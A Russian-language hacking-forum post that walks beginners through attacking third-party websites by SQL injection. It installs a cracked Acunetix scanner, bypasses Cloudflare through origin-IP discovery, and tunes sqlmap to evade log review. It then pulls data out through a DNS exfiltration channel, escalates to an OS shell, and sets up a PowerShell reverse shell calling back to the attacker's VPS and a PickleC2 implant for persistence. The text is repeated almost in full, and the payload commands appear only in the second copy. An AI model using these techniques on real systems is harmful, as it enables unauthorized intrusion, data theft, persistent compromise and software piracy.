D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Давно хотел чем-то поделиться на форуме и думал насчет выбора темы, в итоге решив остановиться на этой. Не претендую на звание профессионала или эксперта, поэтому попрошу тапками не кидать. Материал расчитан на начинающих. Приятного чтения.
Установка Acunetix
SQL injection мы будем искать при помощи веб-сканера Acunetix, хочу передать большое спасибо дедушке Фахаю который радует нас своими кряками. Перейдем к установке. Стабильно работающей последней версии этого софта на Linux нету, поэтому будеть использовать Windows версию. Рекомендуемый конфиг сервера: 16GB RAM, 8 CPU. Такая конфигурация может держать около 10-12 сканов одновременно.
Ссылка на установщик -
Ссылка на кряк - https://www.fahai.org/usr/uploads/2021/07/3887087620.zip
Добавляем записи в hosts файл (находиться в C:\Windows\System32\drivers\etc\hosts)
127.0.0.1 updates.acunetix.com
127.0.0.1 erp.acunetix.com
Запускаем установщик
В Server name, указываем IP сервера на котором происходит установка
После установки, перекидываем все файлы из архива кряка в
C:/ProgramData/Acunetix/shared/license/
Готово! Можем логиниться с данными что указывали ранее.
Настройка сканирования
Один из самых важных этапов. Сюда же включу и другие фишки которыми я пользуюсь.
Обход WAF
Понятно что сканировать сайт накрытый CloudFlare или Akamai не особо эффективно: оно будет безрезультатным или будет останавливаться спустя 5 минут, вместе с блокировкой вашего айпи адреса и тоной капчи. Есть несколько техник что я обычно использую.
Поиск поддоменов.
Лично я использую Amass, шикарная утилита, одним словом всем советую. Результаты будут лучше если добавить API ключи в конфиг-файл. Гайдов на нее также полно в гугле, а также никто не отменял оффициальную документацию https://github.com/OWASP/Amass/wiki/User-Guide .
Мне хватает:
amass enum -d victimsite.com -active -brute -noalts -ipv4
Из полученого списка доменов и их айпи-адресов, ищем тот который не накрыт клаудом и в то же время ведет на ту же страницу что и оригинальный домен. Обычно это какой-нибудь test. victimsite.com или dev. victimsite.com. Для проверки айпи сайта в браузере, я использую расширение для Firefox “IP Address and Domain Information”
История записей DNS
Сервис Viewdns.info и Spyse выдают информацию о прошлых DNS записях. Нашли айпишник который можем быть тем самым прямым айпи ведущим прямо к веб-серверу в обход WAF, подставьте его в URL (https://127.0.0.1/), а в заголовки добавьте Host: victimsite.com (если 302. редирект, попробуйте www.victimsite.com). Если айпи найден, но вас все равно не пускает по IP в URL, вы можете принудительно резолвить айпи в акуше. Для этого на добавляем в файл hosts запись: 127.0.0.1 victimsite.com, где 127.0.0.1 – оригинальный айпи.
Не сканировать заведомо неуязвимые сайты
Не то чтобы это какое-то правило для меня, скорее просто позволяет экономить время и сосредоточиться на других целях. Сначала определяем установленую CMS. Для этого я использую расширение все для того же браузера, WhatCMS.
Сканировать сайт на Wordpress неэфективно, для их проверки есть другой инструмент (wpscan). Онлайн-магазин на популярной CMS последней версии – тоже смысла в этом немного.
Записываем авторизацию и добавляем ее к сканированию
Юзер на сайте означает больше путей для тестирования. Регистрируем аккаунт на таргете, на временную почту и рандомные данные (спасибо гугл). Важно добавить ссылки на Log out, Password Сhange и Email Change, в Excluded Path, чтобы при сканировании аккаунт не стал невалидным.
Эксплуатация уязвимости
Это будет не пошаговый гайд как раскрутить уязвимость, что слишком обобщенно. Я дам свои советы и важные моменты которые нужно делать после того как Acunetix нашел SQL Injection.
Изначально нужно определить какая DBMS установлена на сервере, техника которая была использована и как был преобразован payload (URL Encoded, Base64, Raw, …)
Саму БД можно идентефицировать по SQL запросу, как пример: waitfor delay – Microsoft SQL Server; pg_sleep – PostgreSQL; sleep – MySQL. Если поверхностно определить у вас не получилось, вбейте выданный payload в гугл, ответ там будет. В случае если техника Boolean-Based, и не понятно что за БД, не указывайте параметр –dbms, в любом другом случае это делать обязательно
Sqlmap команду нужно сделать максимально точной, указав –technique; --dbms; -p; --tamper (если это необходимо), важно научиться различать как выглядит payload, в разных техниках. Тогда можно точно указать ее, и не спамить сайт тоной запросов, что плохо, т.к. все это остаеться в логах на сайте, и да, есть админы которые их чекают.
По дефолту, sqlmap использует собственный User-Agent: sqlmap, это очень явная попытка взлома. Используем –random-agent чтобы его рандомизировать.
Boolean-Based sqli бывают очень неоднозначными, и мап не всегда может раскрутить такую технику.
(обычная булеан, легко крутиться, под рукой не было чего-то сложного, но для примера ок)
Тут на помощь нам придёт Burp Suite. Первый запрос отправляем с payload имеющим значение TRUE, вторым там где FALSE. Отправляем 2 (TRUE и FALSE) ответа в Comparer (ПКМ – Send response to Comparer). Переходим во вкладку Comparer и сравниваем 2 ответа по словам. Нужно указать их явное различие, чтобы sqlmap увидил это. В Comparer такое отличие будет выделено жёлтым цветом. Если оно находиться в ответе TRUE, в команду добавляем –string=”уникальная часть, если кусок большой, скопируйте лишь часть”, если отличие находиться в ответе FALSE, используем –not-string=”yourtext”
DNS Exfiltration
Описывать детали этой техники не вижу смысла, гугл сделает это намного лучше, а я могу и упустить важную для понимания информацию.
Кратко: БД может обращаться к DNS серверу, что мы и делаем. Подставляем в DNS запрос информацию которую хотим вывести из БД, на своей VPS поднимаем DNS сервер и снифаем входящие запросы. Для ее работы необходимо купить и настроить домен.
Whitepaper техники - https://arxiv.org/ftp/arxiv/papers/1303/1303.3047.pdf
Увеличивает скорость вывода из Blind SQL Injection, вплоть до 30 раз!
Сравнение скорости техник вывода:
Итак, приступим.
Доменное имя вместе с доменным запросом может иметь длину максимум 253 символа, так что приоритетно купить короткий домен.
Я беру на namecheap.com (не реклама), но это на ваш выбор.
Взял в доменной зоне .cc , стоят такие до 5$. Переходим в Domain List, и нажимаем на Manage возле нашего домена.
Открылось меню управления, переходим во вкладку Advanced DNS, листаем до Personal DNS Server, тыкаем на ADD NAMESERVER, выбираем ns1, и в поле IP, вместо 127.0.0.1 вписываем IP нашего сервера. Нажимаем Done. Проделываем это все еще раз, только теперь вместо ns1, ставим ns2.
Далее переходим во вкладку Domain, листаем до Nameservers, меняем с Namecheap BasicDNS на Custom DNS. Добавляем 2 Nameserver: ns1.yourdomain.com, ns2.yourdomain.com. Не забудьте нажаль на зеленую галочку чтобы применить изменения.
Готово! Namecheap пишет что обновление DNS записей займёт до 24 часов, но по факту у меня занимало не больше 1-2 часов.
Теперь в sqlmap мы указываем аргумент –dns-domain=yourdomain.com , и вуаля, все заработало.
Подтверждение этого, вывод в консоли: data retrieval through DNS channel was successful
Важно подметить что эта техника никак не поможет вам с тем чтобы раскрутить уязвимость, а только лишь с тем чтобы ускорить вывод. Так что сначала подтвержденная скуля, потом –dns-domain .
SHELL
Вот мы и дошли до последнего пункта в моей статье, а именно шеллинг. Так как мы используем sqlmap, нам доступен аргумент –os-shell для вызова коммандной строки из БД.
Требования для его успешного использования:
1. Stacked Queries technique
2. DBA (database administrator rights)
Не имея хоть одного из этих двух пунктов – ничего не выйдет. На моей практике, Stacked Queries чаще всего встречаеться на сайтах, где DBMS – Microsoft SQL Server или PostgreSQL. С DBA все немного сложнее, может быть а может и нет. Если нам не повезло с правами админа, мы можем попытаться их повысить. Выводим информацию о БД используя –banner ; --fingerprint; получаем ее версию и идем в интернет искать уязвимости которые еще не пропатчены на нашей версии.
В нашем случае, мы подпадаем под все необходимые требования, DBMS у нас - Microsoft SQL Server, OS – Windows.
Вызываем --os-shell
Что делать дальше? Каждый раз эксплуатировать уязвимость чтобы получить доступ к консоли очень неудобно, поэтому мы пробрасываем Reverse Shell. Для этого нам нужен VPS с выделенный айпишником, накатывает туда Linux. На своей машине я использую netcat.
Запускаем Listener на свободном порту
nc -lvnp 9478
И на нашем таргете, в –os-shell запускаем эту команду:
Заменить 127.0.0.1 на IP нашей Linux VPS
Отлично. Мы получили шелл.
Чтобы его не потерять, можно воспользоваться каким-нибудь C2 Framework. Например https://github.com/xRET2pwn/PickleC2 .
Установка и запуск:
git clone https://github.com/xRET2pwn/PickleC2.git
cd PickleC2
sudo apt install python3 python3-pip
python3 -m pip install -r requirements.txt
./run.py
Создаем Listener
Создаем полезную нагрузку
Далее мы вызываем --os-shell, и выполняем там payload что нам сгенерировал наш C2 server
При успешном выполнении, в нашей Linux консоли появиться сообщение о создании новой сессии
Чтобы взаемодействовать с сессией используем
Плюсы: при падении или ребута нашей VPS, мы все равно сохраним доступ к шеллу, достаточно только заного запустить C2; ./run.py
Минусы: шелл не переживет перезагрузку сервера базы данных
Документация: https://picklec2.readthedocs.io/
Спасибо за внимание, буду рад на любой отклик.
Установка Acunetix
SQL injection мы будем искать при помощи веб-сканера Acunetix, хочу передать большое спасибо дедушке Фахаю который радует нас своими кряками. Перейдем к установке. Стабильно работающей последней версии этого софта на Linux нету, поэтому будеть использовать Windows версию. Рекомендуемый конфиг сервера: 16GB RAM, 8 CPU. Такая конфигурация может держать около 10-12 сканов одновременно.
Ссылка на установщик -
Ссылка на кряк - https://www.fahai.org/usr/uploads/2021/07/3887087620.zip
Добавляем записи в hosts файл (находиться в C:\Windows\System32\drivers\etc\hosts)
127.0.0.1 updates.acunetix.com
127.0.0.1 erp.acunetix.com
Запускаем установщик
В Server name, указываем IP сервера на котором происходит установка
После установки, перекидываем все файлы из архива кряка в
C:/ProgramData/Acunetix/shared/license/
Готово! Можем логиниться с данными что указывали ранее.
Настройка сканирования
Один из самых важных этапов. Сюда же включу и другие фишки которыми я пользуюсь.
Обход WAF
Понятно что сканировать сайт накрытый CloudFlare или Akamai не особо эффективно: оно будет безрезультатным или будет останавливаться спустя 5 минут, вместе с блокировкой вашего айпи адреса и тоной капчи. Есть несколько техник что я обычно использую.
Поиск поддоменов.
Лично я использую Amass, шикарная утилита, одним словом всем советую. Результаты будут лучше если добавить API ключи в конфиг-файл. Гайдов на нее также полно в гугле, а также никто не отменял оффициальную документацию https://github.com/OWASP/Amass/wiki/User-Guide .
Мне хватает:
amass enum -d victimsite.com -active -brute -noalts -ipv4
Из полученого списка доменов и их айпи-адресов, ищем тот который не накрыт клаудом и в то же время ведет на ту же страницу что и оригинальный домен. Обычно это какой-нибудь test. victimsite.com или dev. victimsite.com. Для проверки айпи сайта в браузере, я использую расширение для Firefox “IP Address and Domain Information”
История записей DNS
Сервис Viewdns.info и Spyse выдают информацию о прошлых DNS записях. Нашли айпишник который можем быть тем самым прямым айпи ведущим прямо к веб-серверу в обход WAF, подставьте его в URL (https://127.0.0.1/), а в заголовки добавьте Host: victimsite.com (если 302. редирект, попробуйте www.victimsite.com). Если айпи найден, но вас все равно не пускает по IP в URL, вы можете принудительно резолвить айпи в акуше. Для этого на добавляем в файл hosts запись: 127.0.0.1 victimsite.com, где 127.0.0.1 – оригинальный айпи.
Не сканировать заведомо неуязвимые сайты
Не то чтобы это какое-то правило для меня, скорее просто позволяет экономить время и сосредоточиться на других целях. Сначала определяем установленую CMS. Для этого я использую расширение все для того же браузера, WhatCMS.
Сканировать сайт на Wordpress неэфективно, для их проверки есть другой инструмент (wpscan). Онлайн-магазин на популярной CMS последней версии – тоже смысла в этом немного.
Записываем авторизацию и добавляем ее к сканированию
Юзер на сайте означает больше путей для тестирования. Регистрируем аккаунт на таргете, на временную почту и рандомные данные (спасибо гугл). Важно добавить ссылки на Log out, Password Сhange и Email Change, в Excluded Path, чтобы при сканировании аккаунт не стал невалидным.
Эксплуатация уязвимости
Это будет не пошаговый гайд как раскрутить уязвимость, что слишком обобщенно. Я дам свои советы и важные моменты которые нужно делать после того как Acunetix нашел SQL Injection.
Изначально нужно определить какая DBMS установлена на сервере, техника которая была использована и как был преобразован payload (URL Encoded, Base64, Raw, …)
Саму БД можно идентефицировать по SQL запросу, как пример: waitfor delay – Microsoft SQL Server; pg_sleep – PostgreSQL; sleep – MySQL. Если поверхностно определить у вас не получилось, вбейте выданный payload в гугл, ответ там будет. В случае если техника Boolean-Based, и не понятно что за БД, не указывайте параметр –dbms, в любом другом случае это делать обязательно
Sqlmap команду нужно сделать максимально точной, указав –technique; --dbms; -p; --tamper (если это необходимо), важно научиться различать как выглядит payload, в разных техниках. Тогда можно точно указать ее, и не спамить сайт тоной запросов, что плохо, т.к. все это остаеться в логах на сайте, и да, есть админы которые их чекают.
По дефолту, sqlmap использует собственный User-Agent: sqlmap, это очень явная попытка взлома. Используем –random-agent чтобы его рандомизировать.
Boolean-Based sqli бывают очень неоднозначными, и мап не всегда может раскрутить такую технику.
(обычная булеан, легко крутиться, под рукой не было чего-то сложного, но для примера ок)
Тут на помощь нам придёт Burp Suite. Первый запрос отправляем с payload имеющим значение TRUE, вторым там где FALSE. Отправляем 2 (TRUE и FALSE) ответа в Comparer (ПКМ – Send response to Comparer). Переходим во вкладку Comparer и сравниваем 2 ответа по словам. Нужно указать их явное различие, чтобы sqlmap увидил это. В Comparer такое отличие будет выделено жёлтым цветом. Если оно находиться в ответе TRUE, в команду добавляем –string=”уникальная часть, если кусок большой, скопируйте лишь часть”, если отличие находиться в ответе FALSE, используем –not-string=”yourtext”
DNS Exfiltration
Описывать детали этой техники не вижу смысла, гугл сделает это намного лучше, а я могу и упустить важную для понимания информацию.
Кратко: БД может обращаться к DNS серверу, что мы и делаем. Подставляем в DNS запрос информацию которую хотим вывести из БД, на своей VPS поднимаем DNS сервер и снифаем входящие запросы. Для ее работы необходимо купить и настроить домен.
Whitepaper техники - https://arxiv.org/ftp/arxiv/papers/1303/1303.3047.pdf
Увеличивает скорость вывода из Blind SQL Injection, вплоть до 30 раз!
Сравнение скорости техник вывода:
Итак, приступим.
Доменное имя вместе с доменным запросом может иметь длину максимум 253 символа, так что приоритетно купить короткий домен.
Я беру на namecheap.com (не реклама), но это на ваш выбор.
Взял в доменной зоне .cc , стоят такие до 5$. Переходим в Domain List, и нажимаем на Manage возле нашего домена.
Открылось меню управления, переходим во вкладку Advanced DNS, листаем до Personal DNS Server, тыкаем на ADD NAMESERVER, выбираем ns1, и в поле IP, вместо 127.0.0.1 вписываем IP нашего сервера. Нажимаем Done. Проделываем это все еще раз, только теперь вместо ns1, ставим ns2.
Далее переходим во вкладку Domain, листаем до Nameservers, меняем с Namecheap BasicDNS на Custom DNS. Добавляем 2 Nameserver: ns1.yourdomain.com, ns2.yourdomain.com. Не забудьте нажаль на зеленую галочку чтобы применить изменения.
Готово! Namecheap пишет что обновление DNS записей займёт до 24 часов, но по факту у меня занимало не больше 1-2 часов.
Теперь в sqlmap мы указываем аргумент –dns-domain=yourdomain.com , и вуаля, все заработало.
Подтверждение этого, вывод в консоли: data retrieval through DNS channel was successful
Важно подметить что эта техника никак не поможет вам с тем чтобы раскрутить уязвимость, а только лишь с тем чтобы ускорить вывод. Так что сначала подтвержденная скуля, потом –dns-domain .
SHELL
Вот мы и дошли до последнего пункта в моей статье, а именно шеллинг. Так как мы используем sqlmap, нам доступен аргумент –os-shell для вызова коммандной строки из БД.
Требования для его успешного использования:
1. Stacked Queries technique
2. DBA (database administrator rights)
Не имея хоть одного из этих двух пунктов – ничего не выйдет. На моей практике, Stacked Queries чаще всего встречаеться на сайтах, где DBMS – Microsoft SQL Server или PostgreSQL. С DBA все немного сложнее, может быть а может и нет. Если нам не повезло с правами админа, мы можем попытаться их повысить. Выводим информацию о БД используя –banner ; --fingerprint; получаем ее версию и идем в интернет искать уязвимости которые еще не пропатчены на нашей версии.
В нашем случае, мы подпадаем под все необходимые требования, DBMS у нас - Microsoft SQL Server, OS – Windows.
Вызываем --os-shell
Что делать дальше? Каждый раз эксплуатировать уязвимость чтобы получить доступ к консоли очень неудобно, поэтому мы пробрасываем Reverse Shell. Для этого нам нужен VPS с выделенный айпишником, накатывает туда Linux. На своей машине я использую netcat.
Запускаем Listener на свободном порту
nc -lvnp 9478
И на нашем таргете, в –os-shell запускаем эту команду:
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 9478);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
Заменить 127.0.0.1 на IP нашей Linux VPS
Отлично. Мы получили шелл.
Чтобы его не потерять, можно воспользоваться каким-нибудь C2 Framework. Например https://github.com/xRET2pwn/PickleC2 .
Установка и запуск:
git clone https://github.com/xRET2pwn/PickleC2.git
cd PickleC2
sudo apt install python3 python3-pip
python3 -m pip install -r requirements.txt
./run.py
Создаем Listener
listener start mainlistener eth0 9479
Создаем полезную нагрузку
implant generate mainlistener powershell mssql_win
Далее мы вызываем --os-shell, и выполняем там payload что нам сгенерировал наш C2 server
При успешном выполнении, в нашей Linux консоли появиться сообщение о создании новой сессии
Чтобы взаемодействовать с сессией используем
interact mssql_win
Плюсы: при падении или ребута нашей VPS, мы все равно сохраним доступ к шеллу, достаточно только заного запустить C2; ./run.py
Минусы: шелл не переживет перезагрузку сервера базы данных
Документация: https://picklec2.readthedocs.io/
Спасибо за внимание, буду рад на любой отклик.
View hidden content is available for registered users!